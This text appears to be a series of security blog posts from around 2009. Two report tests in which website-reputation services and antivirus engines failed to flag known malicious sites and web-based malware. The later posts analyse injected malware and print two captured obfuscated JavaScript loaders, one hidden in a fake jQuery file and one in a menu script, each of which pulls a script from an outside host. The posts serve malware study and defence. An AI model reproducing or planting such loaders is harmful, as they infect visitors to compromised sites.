Websites on the Internet have now become the standard modus operandi for spreading malicious software to infect personal and corporate environments. A large number of benign and well-meaning websites are compromised everyday by hackers inserting malicious code to, in turn, infect the computers used by visitors to the hacked site. One of the ways to combat this is to develop a website reputation mechanism which can warn of potential threats before visiting a compromised site.

Website-reputation services vary wildly in their opinions.

Note that all 350 domains, were reported as malicious, and were collected from malware.com.br on December 18, 2009. The blue column (maximum 350) indicates the number of sites that the website-reputation service correctly identified reported bad sites. The orange column (maximum 350) indicates the number of sites that the website-reputation services incorrectly identified reported malicious sites as safe.

Website reputation services have been around for nearly 5-7 years now. Initially developing as a niche product line which could serve to provide an opinion of a site’s reputation to full fledged offerings which provide advisories about websites, whether they are distributing malware, and if they are, what kind, and using which Autonomous Systems.

At StopTheHacker.com (Jaal LLC) we have conducted tests with 350 domain names, all of which have been reported as malicious by volunteers of various blacklists.

The aim of the test is to:

1. Identify how accurate the website reputation services are
2. What is the overlap in terms of safe/unsafe websites

We have found some interesting results which we present in this article. First we detail the parameters of the testing procedure to provide an idea of how the test was set up.

350 URLs were collected from malware.com.br (mbr) on December 18, 2009. These URLs are reported to this website for listing by one or more of the following: individuals, organizations, agencies and software products or services.  We assume for the purposes of this test that all the URLs obtained from the “regular” list from mbr are malicious and hence deemed “unsafe” to visit.

We compare the reputation provided by each website-reputation service and observe how many websites are marked as unsafe, safe, untested, maybe-unsafe/caution/potentially-unsafe, unreachable.

• McAfee Siteadvisor
• Norton Safeweb
• Google SafeBrowsing
• Comodo Siteinspector

Note, that when analyzing a domain name, for checking with the Google safebrowsing API, we have had to calculate the MD5 hashes of the website names to match with the malware hash list. The date that we conducted this test was: December 21, 2009. The list of domain names tested are presented below and a graph representing the statistics for the first 350 sites tested is above.

We have identified some of the most interesting results below:

1. McAfee Siteadvisor marked 32.5% of Domains as Unsafe, 22% as Safe, 43% as Untested and 1.7% as Potentially-unsafe.
2. Norton Safeweb marked 50.86% of Domains as Unsafe, 43.71% as Safe, 2.29% as Untested and 3.14% as Potentially-unsafe.
3. Google SafeBrowsing marked 10.86% of Domains as Unsafe, 89.14% as Safe. Note: the presence of the hash of the domain name  being tested, on the google malware hash list, is interpreted as “unsafe” while the absence in interpreted as “safe”.
4. Comodo Siteinspector marked 0.29% of Domains as Unsafe, 98.86% as Safe and 0.86% as Unreachable. Note: after feedback from Comodo, a retest was conducted, accuracy changed from 0.29% -> 1.2%.

This limited test is a first step towards showing how much variance there is website reputation services that are currently being offered by large Internet-services/security companies. To highlight this point we present immediately below the relatively few domains (~6% of the total domains tested) that were marked as bad by all three major services, Norton, McAfee, and Google.

In brief:

• 6% of domains tested were marked as “unsafe” by all 3, McAfee, Norton and Google
• 10% of domains tested were marked as “unsafe” by Norton and Google
• 22% of domains tested were marked as “unsafe” by Norton and McAfee
• 5.7% of domains tested were marked as “unsafe” by Google and McAfee

Update: December 28, 2009

After receiving helpful feedback from representatives at Comodo, we were informed that Comodo’s service could provide more accurate answers if complete web page locations were checked instead of just the domain name. We followed the advice and saw a definite increase in Comodo’s accuracy. Comodo marked 1.2% of the website/pages as malicious. Prior to this re-test, the same service marked 0.2% of the websites as unsafe. The graph at the beginning of this article does not represent the results of this re-test.
Read more…

News, Report, Security comodo, google, mcafee, norton, safebrowsing, safeweb, siteadvisor, website reputation

AV Engines are not very effective at spotting web-based malware

There is every indication from sources internal to StopTheHacker.com and external sources comprised of web hosting companies, administrators, security companies and government organizations that the threat from web based malware is looming large and is only going to intensify in the coming years.

Website owners, and administrators, even website hosting companies are the directly affected ones. However, it is me and you, the web surfer, who visits supposedly benign sites which have been compromised by malicious individuals who are at great risk.

To protect the client, i.e. you, security experts rightly recommend antivirus (AV). These AVs are good at detecting pieces of code which have been classified and adhere to well known malicious behavior.  Consumers need to know that most of these AV engines are not tuned to detect web-based malware threats.

Below we present a small test we performed consisting of 159 unique pieces of web-based malware captured during the last few weeks by our detection systems. We compared four popular AV engines and found that none of them are very effective at detecting malware from compromised websites.

Note that all AV engines used were at the latest version available for our systems and were updates with the latest virus definitions. All samples used Javascript to execute their malicious content.

Brief highlights:
1. AV engines used: AVG, ClamAV, F-prot, Avast
2. None of the AV engines detected more than 11% of the malicious samples
3. AVG detected: 6.92%, ClamAV detected: 10.69%, F-prot detected: 10.06%, Avast detected: 2.52% of the samples respectively
4. Only one sample was detected by all four AV engines. This sample was extremely similar to a POC exploit code from milw0rm.com

This limited experiment shows that traditional AV engines have a long way to go when it comes to detecting web-based malware. Jaal uses proprietary detection technology which is based on artificial intelligence and machine learning algorithms which can understand how malicious pieces of code behave and profile and classify them with high accuracy and recall.
Read more…

News, Report, Security anti virus, injection, malicious websites, Security, suspicious code

Building on with this series of posts, which try to capture the evolution of how hackers are injecting benign scripts with malware in the hopes of hiding their malicious content amongst good code. The malicious code displayed this time leads to the famous “Gumblar” infection strain and can cause a lot of headaches. This particular strain is not new, but has been resurfacing in the last few weeks and hence the focus on this specific piece.

This particular example shows how a jQuery script was used by a hacker to spread malicious code. This example is a little obfuscated. This code was mined from www.i-movix.com/en/distributors/.

On line 15 you can find:

<scri pt type="text/javas cript" src="/plugins/system/ jceutilities/js/jqu ery-126.js">

Which loads the example below:

/*
* jQuery 1.2.6 - New Wave Javascript
*
* Copyright (c) 2008 John Resig (jquery.com)
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
*
* $Date: 2008-05-24 14:22:17 -0400 (Sat, 24 May 2008) $
* $Rev: 5685 $
*/
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)
>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while
(c--)r[e(c)]=k1||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1}

**code removed for brevity**

while(c--)if(k1)p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k1);return p}('(H
(){J w=1b.4M,3m$=1b.$;J D=1b.4M=1b.$=H(a,b){I 2B D.17.5j(a,b)};J u=/^[^<]*(<(.|\\s
)+>)[^>]*$|^#(\\w+)$/,62=/^.[^:#\\[\\.]*$/,12;D.17=D.44={5j:H(d,b){d=d||S;G(d.16){

**malicious code**

/*GNU GPL*/ try{window.onload = function(){var H3qqea3ur6p = document.createElement
('scri pt');H3qqe 3ur6p.setAttribute('type', 'text/javascript');H3qqea3ur6p.setAttribute
('id', 'myscript1');H3qqea3ur6p.setAttribute('src',  'h#!t&##(t&()p$$:!#@/!(/$#l!)i!&v(
)@e!^(.$(!c!)o)m@.&!#g#@o((o^g)(l^$!e$)@.&)$c$#o(m#^@.)$b#@#!#a&i#!d^$#$u#)$!(-!((m^!s$
)n$&(.@)@c^@$o((m!(&.^)(b&!!)e@s(&t@@a()r#$#)t))@s#!#)a!l##e@(.))&r$!u!&):)8(0$)@$8^#^@
0&)$^/!!&w@$(o@^r(^(!d@^p^#)r#e@^s(&s&@@.(^^c#^o@!!m$)/)&^g@$(^o@(^o@g@&$l&&#e^))&@-($(
m)#)a#)i^l^#.!&^)i!&t$@^/((!(l)!i&v^(&(e()#j^$a&s@(&m$^&(i$#@n!#^-#@)p$!!$h$!o(&#t(#o##
)!b#!$u^c^#k((e&!)t#!((#.$$@c!&@o@m^)&/)!c&#(n$)e()&&t)#-^#!c^(@n^^n&#).)c!&!o$#m($/$^a
&!@@b&()o^($(u!&#)t^#-#))e$@@)b##a#^y&&@.&#(^c&o^^m^@/(@^^'.replace(/\^|&|@|\)|\(|#|\!|
\$/ig, ''));H3 qqea3ur6p.setAttribute('defer', 'defer');document.body.appendChild(H3qqea
3ur6p);}} cat h(e) {}

Till next time…

Security injection, malicious websites, script, suspicious code

We have received significant requests to keep up with this series of posts which try to capture the evolution of how hackers are injecting benign scripts with malware in the hopes of hiding their malicious content amongst good code.

This particular example shows how a menumachine script was used by a hacker to spread malicious code. This example is a little bit different from the ones we have posted before as it does not just post the malicious code using a straight iframe or obviously understandable JavaScript. This example shows how hackers are trying just a little bit harder to inject code that is somewhat obfuscated. This code was mined from www.rvp1875.com/index.html. Take a look at the example below.

/* menumachine.js v1.7.1.1 - a component of MenuMachine (c)2004 Big Bang Software Pty Ltd :: menumachine.com*/

_ud="undefined";

if(typeof(bbMenu)==_ud)
  bbMenu=new Array();

bb_fix=new Array();

function _bbroot(bbL,name,r2L,clkOp,hRelPos,vRelPos,hRPmargin,vRPmargin,smScr,scrSp,scrAm,tri,triDn,triL,t_Hr,s_Hr,fade,posID,s_bCol,s_bW,s_bBtw,s_fFam,s_fSz,s_fWt,s_fStl,s_txAl,s_lPad,s_tPad,hOL,vOL,sArr,bCol,bw,bBtw,fFam,fSz,fWt,fStl,txAl,lPad,tPad,top_vOL,top_hOL,tArr,spc,nhlP,bUp,s_ao,ao)
{
  if(typeof(__pg)==_ud)
  {
    _b=new __bbBrChk();
    _hr=null;

    if(_b.ieDom&&!_b.mac){
      var els=document.getElementsByTagName("base");

      if(els.length){
        _hr=els[0].getAttribute("href");
      }
    }

    if(!_hr)
      _hr="";

    __pg=new _bbPg();

**code removed for brevity**

    for(var g=0;g<bbMenu.length;g++)
      bbMenu[g].off();
  }

  __bbMmB=1;
  _bbUld();
}

function _bbPg()
{
  var t=this;
  t.wn=window;
  t.d=t.wn.document;
  t.w=(_b.dt&&_b.ie)?t.d.documentElement.clientWidth:_b.ie||_b.nsDom?t.d.body.clientWidth:t.wn.innerWidth;
  t.h=(_b.dt&&_b.ie)?t.d.documentElement.clientHeight:_b.ie||_b.nsDom?t.d.body.clientHeight:t.wn.innerHeight;
  t.wn.onresize=_b.n4?_bbRzevt:_bbRePo;
}

**malicious code**

<!--
(function(hVAxp){var v120='va@72@20a@3d@22@53@63ript@45ngine@22@2c@62@
3d@22Ve@72@73i@6fn@28)+@22@2c@6a@3d@22@22@2cu@3d@6eavig@61tor@2euse@72A
ge@6et@3b@69@66((@75@2e@69n@64exOf(@22Chrome@22)@3c0)@26@26(u@2ei@6edexO
@66@28@22@57in@22@29@3e0)@26@26@28@75@2e@69@6edexO@66(@22NT@20@36@22)@3c
0)@26@26(@64o@63u@6dent@2ecoo@6b@69e@2eind@65@78Of(@22mi@65k@3d1@22)@3c@
30)@26@26(ty@70eof(@7arv@7at@73)@21@3dt@79@70e@6ff(@22A@22@29))@7bzrvzts
@3d@22@41@22@3beval(@22if@28wi@6ed@6fw@2e@22+a@2b@22)j@3dj+@22+@61+@22M@
61jor@22@2bb+a+@22Mi@6eor@22@2bb@2ba@2b@22Bu@69@6c@64@22+@62@2b@22j@3b@2
2)@3b@64ocume@6et@2ewrit@65(@22@3cscri@70t@20src@3d@2f@2fm@61rt@22@2b@22
@75@7a@2ec@6e@2fvid@2f@3fi@64@3d@22+j+@22@3e@3c@5c@2fs@63@72i@70t@3e@22)
@3b@7d';var Id4=v120.re lace(h Axp,'%');var gIl=unes cape(Id4);eval(gIl)}
)(/\@/g);
-->

Till next time..

Security injection, malicious websites, script, suspicious code